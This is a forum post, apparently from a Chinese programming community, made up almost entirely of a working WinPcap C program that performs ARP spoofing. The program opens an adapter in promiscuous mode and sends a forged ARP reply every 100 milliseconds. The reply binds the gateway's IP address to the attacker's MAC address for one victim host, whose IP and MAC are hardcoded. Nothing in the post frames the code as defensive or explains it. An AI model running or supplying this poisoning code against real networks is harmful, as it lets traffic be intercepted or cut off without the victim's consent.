18,356
社区成员
发帖
与我相关
我的任务
分享
#include <stdio.h>
#include <pcap.h>
#include "ProtoStruct.h"
#include <WINSOCK2.H>
#pragma comment(lib,"WS2_32")
//全局变量
DWORD destIp = inet_addr("10.10.61.135"); //要欺骗的目的IP地址
DWORD localIp = inet_addr("10.10.61.111"); //本地主机Ip
u_char destMac[] = {0x00,0x03,0x0d,0x9b,0x62,0x73}; //要欺骗的目的Mac地址
DWORD GateIp = inet_addr("10.10.61.20"); //网关IP
u_char GateMac[] = {0x00,0x03,0xe3,0x84,0xf1,0x17}; //网关Mac
u_char LocalMac[] = {0x00,0x16,0x36,0x2d,0x0e,0x59}; //本地Mac
u_char SendFrame[60] = "";
u_char* DIpToCIp(DWORD *pDIP)
{
static u_char pCIp[4] = "";
if(pDIP == NULL)
return false;
BYTE *b = (BYTE*)pDIP;
pCIp[0] = b[0];
pCIp[1] = b[1];
pCIp[2] = b[2];
pCIp[3] = b[3];
return pCIp;
}
int main()
{
//获取设备适配器
pcap_if_t *alldevs;
pcap_if_t *d;
pcap_t *dev_handle;
char errbuf[PCAP_ERRBUF_SIZE];
if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)==-1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
int i =0;
/* 打印列表 */
for(d = alldevs; d; d = d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
int inum = 0;
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return -1;
}
/* 跳转到选中的适配器 */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* 打开设备 */
if ( (dev_handle= pcap_open_live(d->name, // 设备名
65536, // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
1000, // 读取超时时间
errbuf // 错误缓冲池
) ) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return -1;
}
//设置以太帧头
ETHeader eh = { 0 };
memcpy(eh.dhost, destMac, 6);
memcpy(eh.shost, LocalMac, 6);
eh.type = ::htons(ETHERTYPE_ARP);
memcpy(SendFrame, &eh, sizeof(eh));
// 设置Arp头
ARPHeader ah = { 0 };
ah.hrd = htons(ARPHRD_ETHER);
ah.eth_type = htons(ETHERTYPE_IP);
ah.maclen = 6;
ah.iplen = 4;
ah.opcode = htons(ARPOP_REPLY);
memcpy(ah.smac, LocalMac, 6);
memcpy(ah.saddr, DIpToCIp(&GateIp), 4);
memcpy(ah.dmac, destMac, 6);
memcpy(ah.daddr, DIpToCIp(&destIp), 4);
/* Fill the rest of the packet */
for(int j=42;j<60;j++){
SendFrame[j]=0;
}
memcpy(&SendFrame[sizeof(ETHeader)], &ah, sizeof(ah));
while(true)
{
if(pcap_sendpacket(dev_handle,SendFrame,60)==-1)
{
fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(dev_handle));
return -1;
}
Sleep(100);
}
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return 0;
}